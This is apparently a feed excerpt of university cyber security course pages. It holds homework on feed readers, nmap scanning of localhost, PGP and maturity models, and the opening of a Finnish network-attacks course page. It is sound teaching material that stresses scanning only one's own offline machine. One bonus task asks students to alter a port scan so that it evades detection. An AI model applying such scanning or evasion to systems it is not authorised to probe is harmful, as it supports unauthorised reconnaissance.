&lt;li&gt;x) Why would you want to use a feed reader (and RSS/Atom)? Couldn&#39;t you just browse to each website? (This task does not require tests with a computer. Find suitable sources yourself if needed.).&lt;/li&gt;
&lt;li&gt;y) Supreme court of Finland, &lt;a href=&quot;https://www.finlex.fi/fi/oikeuskaytanto/korkein-oikeus/ennakkopaatokset/2003/36&quot;&gt;case Osuuspankkikeskus port scan KKO:2003:36&lt;/a&gt;. Have a &lt;em&gt;brief look&lt;/em&gt;, summarize the key thing in a couple of bullets or sentences. It&#39;s in Finnish, but Firefox has offline machine translation from Finnish to English. (This task does not require tests with a computer. This task does not require thorough legal analysis of the case.) &lt;span class=&quot;right&quot;&gt;&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/cyber-security/feed.w150.h5adcefb6.avif 150w&quot; sizes=&quot;(max-width: 150px) 100vw, 150px&quot;&gt;&lt;img src=&quot;https://terokarvinen.com/cyber-security/feed.w150.h5adcefb6.png&quot; srcset=&quot;https://terokarvinen.com/cyber-security/feed.w150.h5adcefb6.png 150w&quot; sizes=&quot;(max-width: 150px) 100vw, 150px&quot; width=&quot;150&quot; height=&quot;150&quot; alt=&quot;&quot; style=&quot;max-width: 150px&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/picture&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;a) Install a feed reader. Show that it can read a feed (RSS or Atom). Include a screenshot of this. You can use any feed reader you like, and you can install the feed reader in your host OS if you like.&lt;/li&gt;
&lt;li&gt;b) Add the feed for &lt;a href=&quot;https://krebsonsecurity.com/&quot;&gt;Krebs&lt;/a&gt;. https://krebsonsecurity.com/feed/&lt;/li&gt;
&lt;li&gt;c) Add a feed for Schneier on Security. Find the blog, and locate the feed.&lt;/li&gt;
&lt;li&gt;d) Find and add two more security related feeds. Explain how you found them, and why you chose them.&lt;/li&gt;
&lt;li&gt;e) Follow security feeds for a while. What did you learn? What are the benefits and downsides of following feeds with a reader, compared to some other methods of following cyber security scene?&lt;/li&gt;
&lt;li&gt;f) Port scan. How can criminals know what services your employer has? Disconnect your computer from the internet while doing the test (after you have installed the required software). Do the test inside your virtual machine.
&lt;ul&gt;
&lt;li&gt;Install nmap port scanner&lt;/li&gt;
&lt;li&gt;Disconnect from the internet. Show that &#39;ping 8.8.8.8&#39; stops working when internet is disconnected.&lt;/li&gt;
&lt;li&gt;Port scan your own computer. Use &quot;localhost&quot; as the address.&lt;/li&gt;
&lt;li&gt;Install a daemon&lt;/li&gt;
&lt;li&gt;Port scan again&lt;/li&gt;
&lt;li&gt;Analyze and explain the results&lt;/li&gt;
&lt;li&gt;Do not scan random computers.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;g) Voluntary bonus, a bit hard: Identify a port scan against Apache on the host being scanned, e.g. in logs. Perform the test against &quot;localhost&quot; address and disconnect the internet while port scanning.&lt;/li&gt;
&lt;li&gt;h) Voluntary bonus, a bit hard: Modify nmap scan so that it cannot be detected by the method you found above.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tips:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Port scan (notes from memory)
&lt;ul&gt;
&lt;li&gt;sudo apt-get update; sudo apt-get -y install nmap&lt;/li&gt;
&lt;li&gt;ping 1.1.1.1 # quit with Ctrl-C&lt;/li&gt;
&lt;li&gt;sudo nmap -A -v localhost&lt;/li&gt;
&lt;li&gt;sudo apt-get install apache2; sudo systemctl start apache2;&lt;/li&gt;
&lt;li&gt;Do not scan computers you don&#39;t own. Disconnect computer from the internet while port scanning.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Feed readers
&lt;ul&gt;
&lt;li&gt;Thunderbird is the easiest choice&lt;/li&gt;
&lt;li&gt;Brief is a Firefox extension, maybe it&#39;s also available for Chromium.&lt;/li&gt;
&lt;li&gt;Newsboat &#39;nb&#39; is a fast and versatile tool with proper APIs. It has some learning curve, it&#39;s Linux only and uses TUI (text user interface).&lt;/li&gt;
&lt;li&gt;There are many other feed readers, too.&lt;/li&gt;
&lt;li&gt;Thunderbird. Easy to install, simple graphical user interface, established project. But it&#39;s an email app first, feed reader third.
&lt;ul&gt;
&lt;li&gt;Install: Linux &#39;sudo apt-get update; sudo apt-get -y install thunderbird&#39;. &lt;a href=&quot;https://www.thunderbird.net/&quot;&gt;Windows and Mac: download installer&lt;/a&gt;. They even have an Android version.&lt;/li&gt;
&lt;li&gt;Add Feed Account
&lt;ul&gt;
&lt;li&gt;Click Alt to show menu bars.&lt;/li&gt;
&lt;li&gt;File: New: Feed Account.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Add a Feed (RSS/Atom for specific website)
&lt;ul&gt;
&lt;li&gt;&quot;Blogs &amp;amp; News Feeds&quot; is shown on Folder pane &quot;All Folders&quot; on the left.
&lt;ul&gt;
&lt;li&gt;Right click &quot;Blogs &amp;amp; News Feeds&quot; for context menu: Subscribe... (Same as &quot;Manage feed subscriptions&quot;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Feed URL: https://terokarvinen.com/index.xml
&lt;ul&gt;
&lt;li&gt;Click &quot;Add&quot; on the left. Only click blue &quot;Close&quot; after you have clicked &quot;Add&quot; on the left.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&quot;Tero Karvinen...&quot; feed appears on folder pane &quot;All Folders&quot;, inside &quot;Blogs &amp;amp; News Feeds&quot;. You can see latest articles from the website.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;River of News
&lt;ul&gt;
&lt;li&gt;&quot;River of news&quot; means a single view that shows posts from all your subscriptions, latest first. It&#39;s quite an obvious feature of a feed reader, but in Thunderbird you have to set it up yourself.&lt;/li&gt;
&lt;li&gt;Right click &quot;Blogs &amp;amp; News Feeds&quot; for context menu: Search Messages...&lt;/li&gt;
&lt;li&gt;&quot;Age in Days&quot; &quot;is less than&quot; &quot;30&quot;&lt;/li&gt;
&lt;li&gt;Save search as folder (button)&lt;/li&gt;
&lt;li&gt;Name: &quot;month&quot;. Create.&lt;/li&gt;
&lt;li&gt;Close the search modal.&lt;/li&gt;
&lt;li&gt;&quot;month&quot; appears in folder pane &quot;All Folders&quot;, in &quot;Blogs &amp;amp; News Feeds&quot;. You can see latest posts from all of the feedds you follow. It&#39;s even more interesting if you follow more than one feed.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Finding feeds &lt;span class=&quot;right&quot;&gt;&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/cyber-security/feed.w150.h5adcefb6.avif 150w&quot; sizes=&quot;(max-width: 150px) 100vw, 150px&quot;&gt;&lt;img src=&quot;https://terokarvinen.com/cyber-security/feed.w150.h5adcefb6.png&quot; srcset=&quot;https://terokarvinen.com/cyber-security/feed.w150.h5adcefb6.png 150w&quot; sizes=&quot;(max-width: 150px) 100vw, 150px&quot; width=&quot;150&quot; height=&quot;150&quot; alt=&quot;&quot; style=&quot;max-width: 150px&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/picture&gt;&lt;/span&gt;
&lt;ul&gt;
&lt;li&gt;Website often has a button for RSS feed&lt;/li&gt;
&lt;li&gt;Search the page for text: &quot;RSS&quot;, &quot;Atom&quot;, &quot;Feed&quot;, &quot;Subscribe&quot;&lt;/li&gt;
&lt;li&gt;Check for RSS icon, a dot with two concentric arcs&lt;/li&gt;
&lt;li&gt;Try common URLs, like /feed/ - https://example.com/feed/&lt;/li&gt;
&lt;li&gt;Use an addon to detect feeds, like RSSPreview&lt;/li&gt;
&lt;li&gt;View HTML source code, search for &quot;rss&quot;, &quot;atom&quot;, &quot;xml&quot;, &quot;alternate&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h5-alice-and-bob&quot;&gt;h5 Alice and Bob &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cyber-security/#h5-alice-and-bob&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cyber-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;You&#39;re using public key encryption every day. If you know what you&#39;re doing, it can help you even more.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Can you guess what&#39;s my favourite book on crypto basics?&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Read and summarize (with some bullet points)
&lt;ul&gt;
&lt;li&gt;€ Schneier 2015: &lt;a href=&quot;https://learning.oreilly.com/library/view/applied-cryptography-protocols/9781119096726/&quot;&gt;Applied Cryptography&lt;/a&gt;:
&lt;ul&gt;
&lt;li&gt;Chapter 1 - Foundations
&lt;ul&gt;
&lt;li&gt;1.1 &lt;a href=&quot;https://learning.oreilly.com/library/view/applied-cryptography-protocols/9781119096726/08_chap01.html#chap01-sec001&quot;&gt;Terminology &lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;Sender and Receiver, Messages and Encryption, Algorithms and Keys, Symmetric Algorithms, Public-Key Algorithms (From start until the end of Algorithms; not Cryptoanalysis and onwards)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Chapter 2 - Protocol Building Blocks, sections
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://learning.oreilly.com/library/view/applied-cryptography-protocols/9781119096726/10_chap02.html#chap02-sec005&quot;&gt;2.5 Communications Using Public-Key Cryptography	&lt;/a&gt; (From the start of &quot;Communications using Public Key&quot; until the start of &quot;Digital signatures with encryption&quot;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Karvinen 2023: &lt;a href=&quot;https://terokarvinen.com/2023/pgp-encrypt-sign-verify/&quot;&gt;PGP - Send Encrypted and Signed Message - gpg&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Pubkey today. Explain how you have used public key cryptography today or yesterday, outside of this homework. In addition to naming the system, identify how different parties use keys in different steps of the system. (Answering this question likely requries finding sources on your own. This subtask does not require tests with a computer.)&lt;/li&gt;
&lt;li&gt;b) Encrypt a message. Explain how different parties use different keys at different stages of operation. Evaluate the security of the tool you&#39;ve chosen.&lt;/li&gt;
&lt;li&gt;c) Eve and Mallory. In many crypto stories, Eve is a passive eavesdropper, listening on the wire. Mallory malliciously modifies the messages. Explain how PGP protects against Mallory and Eve. Be specific what features, which use of keys and which flags in the command are related to this protection. (This subtasks does not require tests with a computer)&lt;/li&gt;
&lt;li&gt;d) Password management. Demonstrate use of a password manager. What kind of attacks take advantage of people not using password managers? (You can use any password manager, some examples include &lt;a href=&quot;https://www.passwordstore.org/&quot;&gt;pass&lt;/a&gt; and &lt;a href=&quot;https://keepassxc.org/&quot;&gt;KeePassXC&lt;/a&gt;.)&lt;/li&gt;
&lt;li&gt;e) Refer to sources. Verify each homework report (this and the earlier ones) refers to sources. Every homework report should refer to this task page. It should also have references to any other source used, such as web pages, LLMs, man pages, other reports... References are mandatory, and must be present in every report. (This subtask does not need a report, you can just do it and write &quot;Done.&quot; as the answer for this subtask.)&lt;/li&gt;
&lt;li&gt;f) Voluntary: Details of PGP. Send an encrypted and signed message using PGP, then verify and decrypt it. (You can use folders to simulate users, or use two computers or two different OS users. Don&#39;t use Tero as a name of any party, unless that&#39;s your given name. Many tools automate the use of PGP, my article allows you to do each step by hand.)&lt;/li&gt;
&lt;li&gt;g) Voluntary, challenging, requires coding: &lt;a href=&quot;https://www.cryptopals.com/sets/1&quot;&gt;Cryptopals: Challenge Set 1&lt;/a&gt;:
&lt;ul&gt;
&lt;li&gt;1 Convert hex to base64 (feel free to use a library for base64)&lt;/li&gt;
&lt;li&gt;2 Fixed XOR&lt;/li&gt;
&lt;li&gt;3 Single-byte XOR cipher&lt;/li&gt;
&lt;li&gt;4 &lt;a href=&quot;https://www.cryptopals.com/sets/1/challenges/4&quot;&gt;Detect single-character XOR&lt;/a&gt; (This looks tough before you have solved 1-3)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h6-mature&quot;&gt;h6 Mature &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cyber-security/#h6-mature&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cyber-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Don&#39;t build a giant fence and leave the door open.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Spreadsheets don&#39;t think. You think - hopefully together with stakeholders from other areas of your company.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Read and summarize (With some bullet points. No tests on computer required.)
&lt;ul&gt;
&lt;li&gt;Traficom: &lt;a href=&quot;https://terokarvinen.com/kybermittari/files/Kybermittari_Cybermeter_User_Guide_V1.pdf&quot;&gt;Cybermeter - User guide&lt;/a&gt;:
&lt;ul&gt;
&lt;li&gt;Summary and checklist of the assessment process (p 10)&lt;/li&gt;
&lt;li&gt;3 Cybermeter maturity model (p 11-14)&lt;/li&gt;
&lt;li&gt;The Cybermeter maturity report (p 23)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Traficom: &lt;a href=&quot;https://terokarvinen.com/kybermittari/files/Kybermittarin%20arviointity%C3%B6kalu_v2.1_20230829.xlsx&quot;&gt;Kybermittari spreadsheet&lt;/a&gt; (The actual tool)
&lt;ul&gt;
&lt;li&gt;Have a brief overview. (No need to read everything)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;(Feel free to check &lt;a href=&quot;https://terokarvinen.com/kybermittari/&quot;&gt;Tero&#39;s short Kybermittari page&lt;/a&gt; if you need extra material.)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Make-belief analysis. Write a short story for choosing a couple of subpoints in Kybermittari. Have imaginary persons with roles, write a story by having them speak, decide and comment on maturity. Make sure they have different expertice, e.g. also outside cybersecurity. You can choose a couple of subpoints (2d, 2e...) on any domain (critical, asset...). Add a screenshot of what they ended up with. (No technical tests on computer required, apart from using the spreadsheet.)&lt;/li&gt;
&lt;li&gt;b) Sucks or succeeds. How could Kybermittari process be really useless? How could it be really useful? (No tests on computer required.)&lt;/li&gt;
&lt;li&gt;c) Competition. What approaches, models or tools could compete with Kybermittari? Are there any benefits or downsides for those? Feel free to find your own sources. (No tests on computer required. 1-2 examples are enough.)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h7-secudream&quot;&gt;h7 SecuDream &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cyber-security/#h7-secudream&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cyber-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;a) SecuDream(tm). Cyber security course ... of my dreams.
&lt;ul&gt;
&lt;li&gt;Outline a cyber security course - for you.
&lt;ul&gt;
&lt;li&gt;Goals (2-5. After the course, the student...)&lt;/li&gt;
&lt;li&gt;Outline/Agenda (what&#39;s the theme each time)&lt;/li&gt;
&lt;li&gt;Exercises (No need to figure out the technical details, you can just describe them or give examples. You don&#39;t need to be able to solve those exercises. Are they written, hands-on labs, group work, facilitated discussions, roleplay, capture-the-flag...)&lt;/li&gt;
&lt;li&gt;Models of frameworks you like (if you don&#39;t know the name, you can just describe the purpose of any wouldnt-it-be-nice framework)&lt;/li&gt;
&lt;li&gt;Visiting lecturers, excursions and other special events (You can describe them, don&#39;t need to name the person or company unless you know one on the top of your head)&lt;/li&gt;
&lt;li&gt;Rationale for some choices, if you want. (Need this at work, always wanted to know, my favourite approach, I believe this is the future...)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Think outside the box
&lt;ul&gt;
&lt;li&gt;Never mind the budget&lt;/li&gt;
&lt;li&gt;This is not the feedback for my course, this is you dreaming. Dream course does not have to fit other students, Haaga-Helia budget or our master&#39;s studies goals. Just yours.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;The deadline for voluntary h8 is the same as h7.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=&quot;h8-bonus&quot;&gt;h8 Bonus &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cyber-security/#h8-bonus&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cyber-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;a) Voluntary: Improved. List and link the tasks you have significantly improved after they have been cross evaluated.&lt;/li&gt;
&lt;li&gt;b) Voluntary: Extras: List and link voluntary extra tasks you have completed.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;The deadline for voluntary h8 is the same as h7.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&quot;adminstrivia&quot;&gt;Adminstrivia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cyber-security/#adminstrivia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cyber-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Updates to this page could happen before, during and after the course. First realization of the course, there could be major changes before committing to course description. Picture of Mika&#39;s cryptomining rig by Mika Hirvelä.&lt;/p&gt;
&lt;p&gt;RSS Feed icon ic:sharp-rss-feed received under the Apache 2.0 license, part of &quot;Google Material Icons&quot; collection.&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>Verkkoon tunkeutuminen ja tiedustelu</title>
    <link href="https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/"/>
    <id>https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/</id>
    <published>2026-10-19T13:45:00Z</published>
    <updated>2026-10-19T13:45:00Z</updated>
    <content type="html">&lt;p&gt;Attack the network between machines. Capture radio transmissions. Copy key cards. Attack WiFi.&lt;/p&gt;
&lt;p&gt;Maybe even some software radio...&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Course name and code&lt;/td&gt;&lt;td&gt;Verkkoon tunkeutuminen ja tiedustelu ICI013AS3A-3004 (&lt;a href=&quot;https://opinto-opas.haaga-helia.fi/course_unit/ICI013AS3A&quot;&gt;opinto-opas&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Translated name&lt;/td&gt;&lt;td&gt;Network Attacks and Reconnaissance&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Timing&lt;/td&gt;&lt;td&gt;&lt;strong&gt;2026 period 2&lt;/strong&gt;, late fall (2026 w43-w50)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Credits&lt;/td&gt;&lt;td&gt;5 cr&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Classes&lt;/td&gt;&lt;td&gt;Pasila, classroom pa5001 (and pa3013)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Max students&lt;/td&gt;&lt;td&gt;30 (Fully booked. Queuing? Come to the first class.)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Language&lt;/td&gt;&lt;td&gt;Finnish (+reading material in English)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Remote&lt;/td&gt;&lt;td&gt;No, fully contact in Pasila classroom, mandatory attendance&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Feedback&lt;/td&gt;&lt;td&gt;Erinomainen 4.5 /5 &lt;img src=&quot;https://terokarvinen.com/img/five-stars-15.png&quot; width=&quot;85&quot; height=&quot;15&quot; alt=&quot;Five star experience&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Services&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://hhmoodle.haaga-helia.fi/course/view.php?id=49869&quot;&gt;Moodle: Verkkoon tunkeutuminen ja tiedustelu&lt;/a&gt;, &lt;a href=&quot;https://app.terokarvinen.com&quot;&gt;Laksu&lt;/a&gt;. Voluntary extra: &lt;a href=&quot;https://terokarvinen.com/newsletter/&quot;&gt;Tero&#39;s list&lt;/a&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Teachers&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://TeroKarvinen.com&quot;&gt;Tero Karvinen&lt;/a&gt; and &lt;a href=&quot;https://github.com/lisoant&quot;&gt;Lari Iso-Anttila&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;First class&lt;/td&gt;&lt;td&gt;2026-10-20 w43 Tue 11:00 , pa5001, bring your laptop&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Enroll&lt;/td&gt;&lt;td&gt;in Peppi&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2 id=&quot;aikataulu&quot;&gt;Aikataulu &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#aikataulu&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Päivä&lt;/th&gt;&lt;th&gt;Aihe, ope&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;2026-10-20 w43 Tue&lt;/td&gt;&lt;td&gt;1. Kokonaiskuva: teoria, tärkeimmät mallit - Tero&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-10-27 w44 Tue&lt;/td&gt;&lt;td&gt;2. Liikenteen sieppaaminen ja analyysi - Tero&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-11-03 w45 Tue&lt;/td&gt;&lt;td&gt;3. Ohjelmaradio ja spektri - Tero&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-11-10 w46 Tue&lt;/td&gt;&lt;td&gt;4. NFC ja RFID - Lari&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-11-17 w47 Tue&lt;/td&gt;&lt;td&gt;5. Laboratorio- ja simulaatioympäristöt hyökkäyksissä - Lari&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-11-24 w48 Tue&lt;/td&gt;&lt;td&gt;6. WiFi - Lari&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-12-01 w49 Tue&lt;/td&gt;&lt;td&gt;7. Radiosignaalien automaattinen purkaminen - Tero&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-12-08 w50 Tue&lt;/td&gt;&lt;td&gt;8. Lipunryöstö - Tero, Lari&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Opetus tiistaisin 11:00 - 13:45 pa5001.&lt;/p&gt;
&lt;p&gt;Läppäri mukaan, Linux virtuaalikoneessa. (Apple Mac-käyttäjät: kurssilla pitää pystyä ajamaan tavallisia amd64-binäärejä, suosittelemme &quot;tavallista PC-läppäriä&quot; eli amd64-prosessoria. Tavalliset amd64-binäärit eivät toimi M1, M2, M3, M4 Maceissa ainakaan helposti.)&lt;/p&gt;
&lt;p&gt;Aikataulu on alustava ja kurssi on edistynyt, joten aiheet voivat vielä muuttua kurssin aikana.&lt;/p&gt;
&lt;h2 id=&quot;lahtotaso&quot;&gt;Lähtötaso &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#lahtotaso&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Kurssin alkaessa tulee osata&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Verkkojen perusteet&lt;/li&gt;
&lt;li&gt;Linuxin alkeet&lt;/li&gt;
&lt;li&gt;Asentaa Linux virtuaalikoneeseen omalle koneelle&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Millä tahansa tavalla hankitut esitiedot kelpaavat. Tiedot on voinut hankkia esimerkiksi kursseilla &quot;Linux palvelimet&quot; tai &quot;Tietoverkkojen perusteet&quot;, mutta itse opeteltu sopii myös.&lt;/p&gt;
&lt;p&gt;Esitiedot tarkistetaan tarvittaessa kyselyllä, ja kurssille valittavat voidaan tarvittaessa valita alkutestin perusteella.&lt;/p&gt;
&lt;p&gt;Voit halutessasi kerrata tai opetella taidot alta ennen kurssia. Jos osaat aiheet jo, kertauspakettia ei tarvitse lukea.&lt;/p&gt;
&lt;h2 id=&quot;kertauspaketti&quot;&gt;Kertauspaketti &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#kertauspaketti&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Jos osaat nämä asiat jo, et tarvitse kertauspakettia.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Jos kurssilla järjestetään alkutesti, sen kysymykset eivät välttämättä rajoitu tässä lueteltuihin lähteisiin.&lt;/p&gt;
&lt;h3 id=&quot;verkkojen-perusteet&quot;&gt;Verkkojen perusteet &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#verkkojen-perusteet&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Nämä ovat siis jokapäiväisiä TCP/IP:n perusteita, joita olet varmaan joskus käyttänyt.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;IP-osoite (ip address), maski (network mask), nimipalvelin (domain name server), oletusreititin (default gateway)&lt;/li&gt;
&lt;li&gt;Asiakas-palvelin-arkkitehtuuri (client-server)&lt;/li&gt;
&lt;li&gt;Portti, kuunteleva portti, yläportti (ephemeral port), muutama tärkein TCP-portti (22, 53, 80, 443)&lt;/li&gt;
&lt;li&gt;Pinomallin ajatus (abstraction layers, kerros puhuu vain viereiselle kerrokselle)&lt;/li&gt;
&lt;li&gt;TCP/IP-pinon neljä kerrosta (application esim. HTTP, transport TCP, Internet IP, Link ARP)&lt;/li&gt;
&lt;li&gt;Seuraavan hypyn reitityksen perusajatus (next hop routing, ei reititystekniikoita)&lt;/li&gt;
&lt;li&gt;Verkkotyökalujen alkeet. Esimerkiksi oma ip-osoite (ip a, hostname -I), nimipalvelutiedot (host terokarvinen.com), onko portti auki (nc -vz localhost 80; telnet localhost 80), latenssin mittaus (ping 8.8.8.8).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Wikipedia: &lt;a href=&quot;https://en.wikipedia.org/wiki/Internet_protocol_suite&quot;&gt;Internet protocol suite&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;linuxin-alkeet&quot;&gt;Linuxin alkeet &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#linuxin-alkeet&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
